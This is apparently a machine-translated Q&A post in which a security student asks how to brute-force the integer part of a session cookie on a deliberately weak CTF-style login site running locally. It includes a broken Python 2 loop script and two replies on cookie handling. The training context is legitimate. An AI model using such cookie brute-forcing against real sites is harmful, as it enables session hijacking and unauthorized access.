0
我正在製作一個程序,試圖用python強制cookie值。 我正在研究面向IT安全學生的環境,它就像CTF即服務一樣。 我正在執行的任務是一個程序設計嚴格的登錄站點,它有創建cookie會話的弱點。 Cookie包含三個值,從服務器端返回的整數,用戶名和散列。我已經設法獲取用戶名和散列,但我需要蠻力int值。發佈cookie數據並返回值
我從來沒有做過任何與餅乾或試圖蠻力的人。 我在想我可以手動觀察運行的程序並返回網站的標題,直到內容長度發生變化。
這是我現在的代碼。
from requests import session
import Cookie
def createCook(salt):
#known atrributes for the cookie
salt = int('to_be_brute_forced')
user = str('user')
hash = str('hash_value')
# create the cookies
c = Cookie.SimpleCookie()
#assing cookie name(session) and values (s,u,h)
c['session'] = salt + user + hash
c['session']['domain'] = '127.0.0.1:7777'
c['session']['path'] = "/"
c['session']['expires'] = 1*1*3*60*60
print c
def Main():
print "Feed me Seymour: "
salt = 0
while (salt < 1000):
print 'this is the current cookie: ', createCook(salt)
cc = createCook(salt)
salt = salt + 1
try:
with session() as s:
s.post('http://127.0.0.1:7777/index.php', data=cc)
request = s.get('http://127.0.0.1:7777/index.php')
print request.headers
print request.text
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
Main()
所以我的問題是:1。 我需要在發佈前保存的Cookie? 2.我如何總是給鹽添加+1並重新創建cookie? 3.我如何將它發佈到網站並知道找到了正確的那個?
在*正常*登錄過程的要求,你通常會想保存cookie,它是什麼'requests.session'幫助你。你告訴服務器你的密碼,作爲響應的服務器爲你創建一個(希望是安全的)cookie,並要求你的客戶端設置它,並且你的客戶端發送這個cookie隨後每次請求到服務器。 – 2014-09-22 09:45:24
然而,當試圖強制使用散列時,您會希望每次都發送一個不同的cookie。所以你可能甚至不想使用'requests.session',而是創建你自己的cookie(你已經有了代碼),並且創建併發送一個新的請求。有關如何執行手動cookie處理,請參見[關於cookie的請求文檔](http://docs.python-requests.org/en/latest/user/quickstart/#cookies)。 – 2014-09-22 09:47:41